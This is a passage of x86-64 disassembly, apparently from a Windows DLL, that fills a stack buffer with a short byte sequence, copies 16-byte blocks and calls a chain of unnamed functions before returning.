mov byte [rbp + 0x129], 0x3f
mov byte [rbp + 0x12a], 0x3f
mov byte [rbp + 0x12b], 0x3f
mov byte [rbp + 0x12c], 0x3f
mov byte [rbp + 0x12d], 0x48
mov byte [rbp + 0x12e], 0x8b
lea rax, [rbp + 0x12f]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rbp + 0x130], 0x17
call fcn.18000167c
add rax, 0x30
mov qword [rbp + 0x1c8], rax
lea rdx, [rbp + 0x118]
mov rcx, qword [rbp + 0xf8]
call fcn.1800010dc
lea rcx, [rbp + 0x178]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x1b0]
lea rcx, [rbp + 0x178]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea r8, [rbp + 0x1b0]
lea rdx, [rbp + 0x158]
mov rcx, qword [rbp + 0x1c8]
call fcn.180001e9c
mov qword [rbp + 0x1d0], rax
mov edx, 0x11
mov rcx, qword [rbp + 0x1d0]
call fcn.180001da7
mov rcx, rax
call fcn.180001343
mov rcx, rax
call fcn.180001a96
mov rcx, rax
call fcn.18000101e
nop
lea rsp, [rbp + 0x1e0]
pop rdi
pop rsi
pop rbp
ret